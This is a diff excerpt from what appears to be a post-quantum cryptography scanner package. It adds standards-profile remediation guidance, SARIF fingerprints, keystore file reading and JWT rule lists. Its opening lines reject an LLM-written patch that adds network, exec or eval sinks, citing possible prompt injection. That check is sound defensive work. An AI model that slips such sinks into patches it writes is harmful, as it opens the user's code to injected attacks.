  if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
85
108
  return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
86
109
  }
@@ -6,6 +6,7 @@
6
6
  * standards to track are captured in {@link PQC_TRANSITION_NOTE}.
7
7
  */
8
8
  import type { AlgorithmFamily, Remediation } from "./types.js";
9
+ import type { StandardsProfile } from "./standards-profiles.js";
9
10
 
10
11
  /** Canonical remediation table, keyed by algorithm family. */
11
12
  const REMEDIATIONS: Record<AlgorithmFamily, Remediation> = {
@@ -188,6 +189,44 @@ export function remediationForTier(
188
189
  };
189
190
  }
190
191
 
192
+ /**
193
+ * Regime-aware remediation. Composes the base family guidance with a
194
+ * {@link StandardsProfile}'s parameter sets, HYBRID STANCE, and deprecation
195
+ * deadlines, so an ANSSI/BSI audience is told hybrid is *required* while a CNSA 2.0
196
+ * audience is told it is *optional* (and pointed at the 1024-level hybrid). This is
197
+ * the profile-driven successor to {@link remediationForTier}; `--tier category-5`
198
+ * resolves to the `cnsa-2.0` profile.
199
+ */
200
+ export function remediationForProfile(
201
+ algorithm: AlgorithmFamily,
202
+ profile: StandardsProfile,
203
+ ): Remediation {
204
+ const base = REMEDIATIONS[algorithm];
205
+ const isConf = isConfidentialityFamily(algorithm);
206
+ const primary = isConf ? profile.paramSets.kem : profile.paramSets.signature;
207
+ // The hybrid stance governs KEY ESTABLISHMENT, so it is surfaced for confidentiality
208
+ // families; signature families migrate to a stateless PQC signer directly.
209
+ const stanceWord =
210
+ profile.hybridStance === "required"
211
+ ? "hybrid required"
212
+ : profile.hybridStance === "recommended"
213
+ ? "hybrid recommended"
214
+ : "hybrids optional";
215
+ const recommendation = isConf
216
+ ? `${primary} — ${profile.name}: ${stanceWord}`
217
+ : `${primary} — ${profile.name}`;
218
+ const hybridClause = isConf ? ` ${profile.hybridGuidance}` : "";
219
+ return {
220
+ algorithm,
221
+ recommendation,
222
+ detail:
223
+ `${base.detail} Under ${profile.name} (${profile.citation}), use ${profile.paramSets.kem} for ` +
224
+ `key establishment and ${profile.paramSets.signature} for signatures; classical public-key ` +
225
+ `crypto is deprecated after ${profile.deprecateAfter} and disallowed after ${profile.disallowAfter}.` +
226
+ hybridClause,
227
+ };
228
+ }
229
+
191
230
  /**
192
231
  * Guidance for stateful hash-based signatures (SP 800-208: LMS / XMSS / HSS).
193
232
  * These are NIST-approved for firmware / boot signing but are STATEFUL — each
package/src/report.ts CHANGED
@@ -7,8 +7,10 @@ import type { AlgorithmFamily, Finding, RuleMeta, ScanResult, Severity } from ".
7
7
  import { VERSION } from "./version.js";
8
8
  import { SEVERITY_ORDER, sarifLevel } from "./severity.js";
9
9
  import { ANALYZABLE_LANGUAGES_LABEL } from "./detect-utils.js";
10
- import { remediationFor, remediationForTier } from "./remediation.js";
10
+ import { remediationFor, remediationForTier, remediationForProfile } from "./remediation.js";
11
11
  import type { SecurityTier } from "./remediation.js";
12
+ import type { StandardsProfile } from "./standards-profiles.js";
13
+ import { fingerprintFinding } from "./baseline.js";
12
14
 
13
15
  /** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */
14
16
  export interface SarifLog {
@@ -162,6 +164,12 @@ export function toSarif(result: ScanResult, opts?: ReportOptions): SarifLog {
162
164
  ruleIndex: ruleIndex.get(f.ruleId),
163
165
  level: sarifLevel(f.severity),
164
166
  message: { text: f.message },
167
+ // Line-INSENSITIVE fingerprint (the same one the baseline uses:
168
+ // sha256 of ruleId|file|normalizedSnippet). GitHub code scanning keys
169
+ // alert identity + dedup off partialFingerprints, so a finding survives
170
+ // line shifts and reformatting instead of re-alerting as "new" on every
171
+ // edit above it. `quantakrypto/v1` names our scheme.
172
+ partialFingerprints: { "quantakrypto/v1": fingerprintFinding(f) },
165
173
  properties: {
166
174
  category: f.category,
167
175
  severity: f.severity,
@@ -468,3 +476,37 @@ export function formatTierGuidance(
468
476
  }
469
477
  return out;
470
478
  }
479
+
480
+ /**
481
+ * Per-family migration targets tailored to a selected {@link StandardsProfile}
482
+ * (`--profile`). Unlike {@link formatTierGuidance} (CNSA-tier only), this surfaces the
483
+ * regime's parameter sets AND its hybrid stance — required (ANSSI/BSI) vs recommended
484
+ * (NIST/NCSC) vs optional (CNSA 2.0) — so guidance isn't regime-wrong. Returns plain
485
+ * (un-coloured) lines; the caller styles them.
486
+ */
487
+ export function formatProfileGuidance(
488
+ byAlgorithm: Record<string, number>,
489
+ profile: StandardsProfile,
490
+ ): string[] {
491
+ const out: string[] = [`${profile.name} migration targets:`];
492
+ const seen = new Set<string>();
493
+ for (const [k, n] of Object.entries(byAlgorithm)) {
494
+ if (n <= 0) continue;
495
+ const fam = k as AlgorithmFamily;
496
+ if (fam === "unknown" || !remediationFor(fam)) continue; // skip unmapped families
497
+ const rem = remediationForProfile(fam, profile);
498
+ if (seen.has(rem.recommendation)) continue;
499
+ seen.add(rem.recommendation);
500
+ out.push(` ${fam} → ${rem.recommendation}`);
501
+ }
502
+ const stance =
503
+ profile.hybridStance === "required"
504
+ ? "requires classical+PQC hybridization"
505
+ : profile.hybridStance === "recommended"
506
+ ? "recommends hybridization"
507
+ : "does not require hybridization";
508
+ out.push(
509
+ ` ${profile.authority} ${stance}; classical public-key crypto disallowed after ${profile.disallowAfter} (${profile.citation}).`,
510
+ );
511
+ return out;
512
+ }
@@ -15,7 +15,7 @@ import { parentPort, workerData } from "node:worker_threads";
15
15
  import type { Finding } from "./types.js";
16
16
  import { defaultRegistry } from "./registry.js";
17
17
  import { detectFile } from "./scan.js";
18
- import { looksMinified } from "./walk.js";
18
+ import { isKeystorePath, looksMinified } from "./walk.js";
19
19
  import { isManifestFile } from "./dependencies.js";
20
20
 
21
21
  interface WorkerToggles {
@@ -48,14 +48,16 @@ if (parentPort) {
48
48
 
49
49
  for (const rel of req.files) {
50
50
  const abs = path.join(baseDir, ...rel.split("/"));
51
+ // Keystores (.jks/.p12/…) are read byte-preserving (latin1); see scan.ts.
52
+ const keystore = isKeystorePath(rel);
51
53
  let content: string;
52
54
  try {
53
- content = readFileSync(abs, "utf8");
55
+ content = readFileSync(abs, keystore ? "latin1" : "utf8");
54
56
  } catch {
55
57
  unreadable += 1;
56
58
  continue;
57
59
  }
58
- if (!toggles.scanMinified && !isManifestFile(rel) && looksMinified(content)) {
60
+ if (!toggles.scanMinified && !isManifestFile(rel) && !keystore && looksMinified(content)) {
59
61
  skippedMinified += 1;
60
62
  continue;
61
63
  }
package/src/scan.ts CHANGED
@@ -13,7 +13,15 @@ import { readFile, stat } from "node:fs/promises";
13
13
  import * as path from "node:path";
14
14
 
15
15
  import type { Detector, Finding, ScanOptions, ScanResult } from "./types.js";
16
- import { walkFiles, toPosix, isBinaryPath, looksMinified, matchesAny } from "./walk.js";
16
+ import {
17
+ walkFiles,
18
+ toPosix,
19
+ isBinaryPath,
20
+ isKeystorePath,
21
+ looksMinified,
22
+ matchesAny,
23
+ DEFAULT_MAX_FILE_SIZE,
24
+ } from "./walk.js";
17
25
  import { isAnalyzableSource } from "./detect-utils.js";
18
26
  import {
19
27
  stripCommentFindings,
@@ -26,7 +34,16 @@ import {
26
34
  * A match inside a string (e.g. `t.Error("SigningMethodPS256 …")`) is prose and
27
35
  * is dropped. Rules that legitimately match quoted tokens are NOT listed here.
28
36
  */
29
- const CODE_ONLY_RULES: ReadonlySet<string> = new Set(["go-jwt-signingmethod"]);
37
+ const CODE_ONLY_RULES: ReadonlySet<string> = new Set([
38
+ "go-jwt-signingmethod",
39
+ // Identifier-form JWT alg constants (jjwt `SignatureAlgorithm.RS256`, auth0
40
+ // `Algorithm.RSA256`, C# `SecurityAlgorithms.*`, Rust `Algorithm::RS256`). Like the
41
+ // Go rule, these are only meaningful as code; the SAME token inside a string literal
42
+ // (an error message that names/forbids the alg) is prose, not a usage.
43
+ "java-jwt-alg",
44
+ "csharp-jwt-alg",
45
+ "rust-jwt-algorithm",
46
+ ]);
30
47
  import { hashContent, loadCache, rulesetFingerprint, saveCache } from "./cache.js";
31
48
  import type { CacheEntry } from "./cache.js";
32
49
  import { builtinDetectors, defaultRegistry, detectorScope } from "./registry.js";
@@ -169,23 +186,41 @@ export async function scan(options: ScanOptions): Promise<ScanResult> {
169
186
 
170
187
  options.onFile?.(reportedPath);
171
188
 
189
+ // Cryptographic keystores (.jks/.p12/…) are binary; read them byte-preserving
190
+ // (latin1) so the keystore detector can inspect magic bytes.
191
+ const keystore = isKeystorePath(reportedPath);
192
+ // Keystores are read whole into memory as latin1. The walker already caps file
193
+ // size, but the explicit-file-list (incremental) path does not — so stat and
194
+ // skip an oversized binary here to avoid reading a huge encrypted archive
195
+ // (`.gpg`) into a string.
196
+ if (keystore) {
197
+ try {
198
+ const { size } = await stat(absPath);
199
+ if (size > (options.maxFileSize ?? DEFAULT_MAX_FILE_SIZE)) continue;
200
+ } catch {
201
+ unreadable += 1;
202
+ continue;
203
+ }
204
+ }
172
205
  let content: string;
173
206
  try {
174
- content = await readFile(absPath, "utf8");
207
+ content = await readFile(absPath, keystore ? "latin1" : "utf8");
175
208
  } catch {
176
209
  unreadable += 1; // permissions / vanished / decode failure — tracked, not silent.
177
210
  continue;
178
211
  }
179
212
 
180
213
  // Skip machine-minified / generated content (unless explicitly enabled).
181
- // Manifests are always scanned (their findings are dependency findings).
182
- if (!scanMinified && !isManifestFile(reportedPath) && looksMinified(content)) {
214
+ // Manifests and keystores are always scanned.
215
+ if (!scanMinified && !isManifestFile(reportedPath) && !keystore && looksMinified(content)) {
183
216
  skippedMinified += 1;
184
217
  continue;
185
218
  }
186
219
 
187
220
  // Cumulative-byte budget: enforced once this file's bytes are accounted for.
188
- bytesScanned += Buffer.byteLength(content, "utf8");
221
+ // Use the read encoding so a latin1 keystore is counted at its on-disk size
222
+ // (a utf8 byteLength would double-count every byte ≥ 0x80).
223
+ bytesScanned += Buffer.byteLength(content, keystore ? "latin1" : "utf8");
189
224
  if (typeof maxBytes === "number" && bytesScanned > maxBytes) {
190
225
  throw new BudgetExceededError(`maxBytes budget exceeded (limit: ${maxBytes}).`);
191
226
  }